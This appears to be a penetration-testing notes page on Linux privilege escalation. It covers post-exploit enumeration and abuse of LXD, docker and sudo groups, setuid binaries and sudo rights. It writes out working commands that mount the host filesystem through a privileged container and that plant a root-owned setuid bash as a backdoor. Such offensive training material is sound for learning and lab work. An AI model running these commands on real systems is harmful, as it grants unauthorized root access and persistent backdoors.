This is the multi-page printable view of this section. Click here to print.

Return to the regular view of this page.

Linux

Become root!

1 - Linux Post-Exploit Enum

Gather information necessary for privilege escalation on Linux

Enumeration is key to privilege escalation. After gaining initial shell access, it’s important to check for the following details:

  • OS Version
  • Kernel Version
  • Running Services

Situational Awareness

After getting a shell onto a Linux target, we should try to run a few commands to orient ourselves:

  • whoami: username
  • id: group membership
  • hostname: server hostname (naming convention?)
  • ifconfig / ip a: Network address(es)?
  • sudo -l: Sudo permissions? With or without password?

Operating System Information

Linux Distribution

We also want to know what Linux Distribution is running on the target. Different distros have different tools and utilities available on the system that may aid our privilege escalation.

ubuntu@ubuntu:~$ cat /etc/*release*
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=25.04
DISTRIB_CODENAME=plucky
DISTRIB_DESCRIPTION="Ubuntu 25.04"
PRETTY_NAME="Ubuntu 25.04"
NAME="Ubuntu"
VERSION_ID="25.04"
VERSION="25.04 (Plucky Puffin)"
VERSION_CODENAME=plucky
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=plucky
LOGO=ubuntu-logo

Alternatively, we can also check /etc/*issue

ubuntu@ubuntu:~$ cat /etc/issue
Ubuntu 25.04 \n \l

Kernel Version

Kernel version can help us look up known vulnerabilities (DirtyPipe, CopyFail, etc.)

ubuntu@ubuntu:~$ uname -a
Linux ubuntu 6.14.0-15-generic #15-Ubuntu SMP PREEMPT_DYNAMIC Sun Apr  6 15:05:05 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux

Environment Information

Environment Variables

Check the current environment variables:

ubuntu@ubuntu:~$ env
SHELL=/bin/bash
PWD=/home/ubuntu
LOGNAME=ubuntu
HOME=/home/ubuntu
LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=00:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.7z=01;31:*.ace=01;31:*.alz=01;31:*.apk=01;31:*.arc=01;31:*.arj=01;31:*.bz=01;31:*.bz2=01;31:*.cab=01;31:*.cpio=01;31:*.crate=01;31:*.deb=01;31:*.drpm=01;31:*.dwm=01;31:*.dz=01;31:*.ear=01;31:*.egg=01;31:*.esd=01;31:*.gz=01;31:*.jar=01;31:*.lha=01;31:*.lrz=01;31:*.lz=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.lzo=01;31:*.pyz=01;31:*.rar=01;31:*.rpm=01;31:*.rz=01;31:*.sar=01;31:*.swm=01;31:*.t7z=01;31:*.tar=01;31:*.taz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tgz=01;31:*.tlz=01;31:*.txz=01;31:*.tz=01;31:*.tzo=01;31:*.tzst=01;31:*.udeb=01;31:*.war=01;31:*.whl=01;31:*.wim=01;31:*.xz=01;31:*.z=01;31:*.zip=01;31:*.zoo=01;31:*.zst=01;31:*.avif=01;35:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.webp=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:*~=00;90:*#=00;90:*.bak=00;90:*.crdownload=00;90:*.dpkg-dist=00;90:*.dpkg-new=00;90:*.dpkg-old=00;90:*.dpkg-tmp=00;90:*.old=00;90:*.orig=00;90:*.part=00;90:*.rej=00;90:*.rpmnew=00;90:*.rpmorig=00;90:*.rpmsave=00;90:*.swp=00;90:*.tmp=00;90:*.ucf-dist=00;90:*.ucf-new=00;90:*.ucf-old=00;90:
SSH_CONNECTION=192.168.122.1 57306 192.168.122.240 22
LESSCLOSE=/usr/bin/lesspipe %s %s
TERM=st-256color
LESSOPEN=| /usr/bin/lesspipe %s
USER=ubuntu
SHLVL=1
SSH_CLIENT=192.168.122.1 57306 22
DEBUGINFOD_URLS=https://debuginfod.ubuntu.com
XDG_DATA_DIRS=/usr/share/gnome:/usr/local/share:/usr/share:/var/lib/snapd/desktop
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/snap/bin
MAIL=/var/mail/ubuntu
SSH_TTY=/dev/pts/1
_=/usr/bin/env

Specifically, it may be beneficial to note the PATH environment variable. If any of the paths are writable by our user, we may be able to use PATH hijacking to achieve privilege escalation.

ubuntu@ubuntu:~$ env | grep PATH
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/snap/bin

Login Shells

/etc/shells stores a list of valid login shells.

ubuntu@ubuntu:~$ cat /etc/shells
# /etc/shells: valid login shells
/bin/sh
/usr/bin/sh
/bin/bash
/usr/bin/bash
/bin/rbash
/usr/bin/rbash
/usr/bin/dash

Users and Groups

/etc/passwd

All users on the system are stored in /etc/passwd. Despite its name, the file no longer store password information on all modern Linux systems.

Structure of /etc/passwd entry:

1234567
root:x:0:0:root:/root:/bin/bash
  1. Login name
  2. Passwword (x: password in shadow file, *:user cannot login)
  3. User ID (UID)
  4. Primary Group ID (GID)
  5. Comment Field/User full name
  6. User home directory path
  7. User default login shell

Interactive users can be found from /etc/passwd by grepping sh$ for valid login shells.

ubuntu@ubuntu:~$ grep "sh$" /etc/passwd

root:x:0:0:root:/root:/bin/bash
jsmith:x:1000:1000:mrb3n:/home/jsmith:/bin/bash
bjones:x:1001:1001::/home/bjones:/bin/zsh
ubuntu:x:1002:1002::/home/ubuntu:/bin/bash

Logged-on Users

Check currently on the system with commands such as w, who or finger.

ubuntu@ubuntu:~$ w

 12:27:21 up 1 day, 16:55,  1 user,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
jsmith   pts/0    10.10.14.16      Tue19   40:54m  0.02s  0.02s -bash

Group Information

The /etc/groups file shows a list of groups on the system as well as their members:

ubuntu@ubuntu:~$ cat /etc/groups

root:x:0:
daemon:x:1:
bin:x:2:
sys:x:3:
adm:x:4:syslog,htb-student
tty:x:5:syslog
disk:x:6:
[...]

Individual group membership can also be queried using getent:

ubuntu@ubuntu:~$ getent group sudo

sudo:x:27:bjones

We should also check for users with a home directory under /home. This can help us find SSH keys, interesting information in shell history, and much more.

ubuntu@ubuntu:~$ ls /home

bjones      jsmith      ubuntu

Network Information

Network Interfaces

Start by checking available interfaces using ip a:

ubuntu@ubuntu:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute
       valid_lft forever preferred_lft forever
2: enp1s0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 52:54:00:a8:01:02 brd ff:ff:ff:ff:ff:ff
    altname enx525400a80102
    inet 192.168.122.240/24 brd 192.168.122.255 scope global dynamic noprefixroute enp1s0
       valid_lft 3219sec preferred_lft 3219sec
    inet6 fe80::5054:ff:fea8:102/64 scope link proto kernel_ll
       valid_lft forever preferred_lft forever

Or ifconfig

ubuntu@ubuntu:~$ ifconfig
enp1s0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.122.240  netmask 255.255.255.0  broadcast 192.168.122.255
        inet6 fe80::5054:ff:fea8:102  prefixlen 64  scopeid 0x20<link>
        ether 52:54:00:a8:01:02  txqueuelen 1000  (Ethernet)
        RX packets 9861  bytes 39958679 (39.9 MB)
        RX errors 0  dropped 1111  overruns 0  frame 0
        TX packets 7670  bytes 820143 (820.1 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 183  bytes 17353 (17.3 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 183  bytes 17353 (17.3 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Note IP addresses in on different interfaces, as well as subnet mask.

Network Routes

ubuntu@ubuntu:~$ route
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
default         _gateway        0.0.0.0         UG    100    0        0 enp1s0
192.168.122.0   0.0.0.0         255.255.255.0   U     100    0        0 enp1s0

ARP Information

Are there any other hosts the target has been connecting to?

ubuntu@ubuntu:~$ arp -a
_gateway (192.168.122.1) at 52:54:00:03:21:e5 [ether] on enp1s0

Name Resolution

Check /etc/hosts, are there interesting hosts specified?

ubuntu@ubuntu:~$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 ubuntu
10.10.0.3 ra-cailumn.gundam.local gundam.local

# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
ff02::3 ip6-allhosts

Interesting nameservers under /etc/resolv.conf?

ubuntu@ubuntu:~$ cat /etc/resolv.conf
# This is /run/systemd/resolve/stub-resolv.conf managed by man:systemd-resolved(8).
# Do not edit.
#
# This file might be symlinked as /etc/resolv.conf. If you're looking at
# /etc/resolv.conf and seeing this text, you have followed the symlink.
#
# This is a dynamic resolv.conf file for connecting local clients to the
# internal DNS stub resolver of systemd-resolved. This file lists all
# configured search domains.
#
# Run "resolvectl status" to see details about the uplink DNS servers
# currently in use.
#
# Third party programs should typically not access this file directly, but only
# through the symlink at /etc/resolv.conf. To manage man:resolv.conf(5) in a
# different way, replace this symlink by a static file or a different symlink.
#
# See man:systemd-resolved.service(8) for details about the supported modes of
# operation for /etc/resolv.conf.

nameserver 127.0.0.53
options edns0 trust-ad
search .

Ubuntu, Fedora, and other popular Linux distros may use Systemd-Resolved to manage name resolution. If you see the contents like show above inside /etc/resolv.conf, we can further enumerate name resolution configuration:

ubuntu@ubuntu:~$ resolvectl status
Global
         Protocols: -LLMNR -mDNS -DNSOverTLS DNSSEC=no/unsupported
  resolv.conf mode: stub

Link 2 (enp1s0)
    Current Scopes: DNS
         Protocols: +DefaultRoute -LLMNR -mDNS -DNSOverTLS DNSSEC=no/unsupported
Current DNS Server: 192.168.122.1
       DNS Servers: 192.168.122.1
     Default Route: yes

Packages and Utilities

List installed packages and note outdated packages.

apt list --installed | tr "/" " " | cut -d" " -f1,3 | sed 's/[0-9]://g' | tee -a installed_pkgs.list

Check for executables installed against GTFObins

for i in $(curl -s https://gtfobins.org/api.json | jq -r '.executables | keys[]'); do if grep -q "$i" installed_pkgs.list; then echo "Check for GTFO: $i";fi; done

Sudo version information, useful for looking up known privilege escalation vulnerabilities.

ubuntu@ubuntu:~$ sudo -V

Sudo version 1.8.31
Sudoers policy plugin version 1.8.31
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.31

Service Configuration

SSHD

Check /etc/ssh/sshd_config for the SSH daemon configuration:

  • Is root allowed to login?
  • Cleartext passwords allowed?
  • Any users disallowed from login via SSH?

Web Servers

Check for virtual hosts that weren’t discovered before.

Apache2 configs live under /etc/apache2:

/etc/apache2/
├── apache2.conf
├── ports.conf
├── sites-available/
├── sites-enabled/
├── conf-available/
├── conf-enabled/
├── mods-available/
└── mods-enabled/

Nginx configs live under /etc/nginx:

/etc/nginx/
├── nginx.conf
├── conf.d/
├── sites-available/
└── sites-enabled/

Hardware Information

CPU Information

Running lscpu can help us identify the CPU architecture. This can become more important as ARM-based CPUs become more prevalent.

ubuntu@ubuntu:~$ lscpu
Architecture:             x86_64
  CPU op-mode(s):         32-bit, 64-bit
  Address sizes:          48 bits physical, 48 bits virtual
  Byte Order:             Little Endian
CPU(s):                   2
  On-line CPU(s) list:    0,1
Vendor ID:                AuthenticAMD
  Model name:             AMD Ryzen 7 5800X3D 8-Core Processor
    CPU family:           25
    Model:                33
    Thread(s) per core:   1
    Core(s) per socket:   1
    Socket(s):            2
[...]

Disk Information

Run lsblk to see block devices available on the system and their mount points if they are mounted.

  • In Ubuntu systems, lsblk also shows the Snap packages installed as loop devices
ubuntu@ubuntu:~$ lsblk

NAME                      MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT
loop0                       7:0    0   55M  1 loop /snap/core18/1705
loop1                       7:1    0   69M  1 loop /snap/lxd/14804
loop2                       7:2    0   47M  1 loop /snap/snapd/16292
loop3                       7:3    0  103M  1 loop /snap/lxd/23339
loop4                       7:4    0   62M  1 loop /snap/core20/1587
loop5                       7:5    0 55.6M  1 loop /snap/core18/2538
sda                         8:0    0   20G  0 disk
├─sda1                      8:1    0    1M  0 part
├─sda2                      8:2    0    1G  0 part /boot
└─sda3                      8:3    0   19G  0 part
  └─ubuntu--vg-ubuntu--lv 253:0    0   18G  0 lvm  /
sr0                        11:0    1  908M  0 rom

If there are any network drives mounted at boot, we can check /etc/fstab to see if there are credentials listed.

ubuntu@ubuntu:~$ cat /etc/fstab

# /etc/fstab: static file system information.
#
# Use 'blkid' to print the universally unique identifier for a
# device; this may be used with UUID= as a more robust way to name devices
# that works even if disks are added and removed. See fstab(5).
#
# <file system> <mount point>   <type>  <options>       <dump>  <pass>
# / was on /dev/ubuntu-vg/ubuntu-lv during curtin installation
/dev/disk/by-id/dm-uuid-LVM-BdLsBLE4CvzJUgtkugkof4S0dZG7gWR8HCNOlRdLWoXVOba2tYUMzHfFQAP9ajul / ext4 defaults 0 0
# /boot was on /dev/sda2 during curtin installation
/dev/disk/by-uuid/20b1770d-a233-4780-900e-7c99bc974346 /boot ext4 defaults 0 0

2 - Permission-based

Exploit misconfigured user and group permissions to escalation privileges

2.1 - Privileged Groups

Exploit highly-privileged group membership to obtain root access.

Certain groups give their members high privileges that can be abused to obtain root access on the host. Below are some examples:

LXC/LXD

LXD is similar to Docker and is Ubuntu’s container manager. Upon installation, all users are added to the LXD group.

devops@NIX02:~$ id

uid=1009(devops) gid=1009(devops) groups=1009(devops),110(lxd)

Membership in the LXD group can be used to escalate privileges by creating an LXD container, making it privileged, and then accessing the host file system at /mnt/root.

# Import local container image
lxc image import alpine.tar.gz alpine.tar.gz.root --alias alpine
# Start a privileged container
lxc init alpine r00t -c security.privileged=true
# Mount host filesystem
lxc config device add r00t mydev disk source=/ path=/mnt/root recursive=true
# Start the container
lxc start r00t
# Spawn an interactive shell inside the container
lxc exec r00t /bin/sh

This allows us to read all files inside the host file system as root. We may also leverage the setuid bash technique to gain root interactive shell on the host system.

Docker

Placing a user in the docker group is essentially equivalent to root level access to the file system without a password. Members of the docker group can spawn new docker containers, and mount local file systems.

docker run -v /root:/mnt -it ubuntu

This allows us to read all files inside the host file system as root. We may also leverage the setuid bash technique to gain root interactive shell on the host system.

Disk

Users within the disk group have full access to any devices contained within /dev, such as /dev/sda1.

  • Attackers can use debugfs to access the entire file system with root-level privs.

ADM

Members of the adm group can read all logs under /var/log. This does not automatically grant root acccess, but can be leveraged to gather sensitive information.

2.2 - setuid

Leverage executables with setuid permissions to escalate privileges

The Set User IP upon Execution (setuid) permission can allow a user to execute a program or script with the permission of another user, typically with elevated privileges.

We may use the following command to find setuid files owned by root. Note that setuid executables will be marked with s.

find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null

If one of the executables listed above allows command to be executed, it can be leveraged for privilege escalation and execute commands as root.

  • We may use a resource like GTFOBins, or research vulnerabilities associated with the executable.

Bash with Setuid

When ran with -p, Bash retains the effective user ID of the owner of the binary. Creating a copy of Bash owned by root with setuid bit set can have two applications:

  1. For creating a backdoor that allows any user on the system to run commands as root.
  2. Escalating the ability to read/write file as root on the host system to the ability to execute commands as root.

Use the following commands to create a copy of Bash in the current directory with setuid owned by root, executable by everyone, and with setuid bit set.

cp $(which bash) .
chown root:root ./bash
chmod 4755 ./bash

Then, simply run ./bash -p:

$ ./bash -p
# whoami
root

2.3 - Sudo

Exploit misconfigured sudo privileges to escalation privileges

Sudo privileges can be granted to an account, permitting the account to run certain commands in the context of root or another account. When sudo is prepended to a command, the system will check if the user issuing the command has the appropriate rights as configured in /etc/sudoers file.

Sudo privileges can be enumerated using sudo -l:

  • Sometimes running this command requires us to provide the user’s password.
  • If an entry is marked with NOPASSWD, we can run the command without providing the user’s password.
john@NIX02:~$ sudo -l

Matching Defaults entries for john on NIX02:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User john may run the following commands on NIX02:
    (root) NOPASSWD: /usr/sbin/tcpdump

From here, the goal is to execute command from the program we are allowed to run. We can make use of resources such as GTFOBins to find options and other ways to execute command as root, or research vulnerabilities the specific version of the installed executable listed above.

Sudo Group

Similarly, if a user belongs in sudo or wheel group, we may be allowed to run any command as any user.

johnadm@NIX02:~$ sudo -l

User johnadm may run the following commands on NIX02:
    (ALL : ALL) ALL

In that cause, simply run sudo su to become root.

Mitigation

  1. Always specify the absolute path to any binaries listed in the sudoers file entry. Otherwise, an attacker may be able to leverage PATH abuse.
  2. Grant sudo rights sparingly and based on the principle of least privilege.
  3. Use solutions such as AppArmor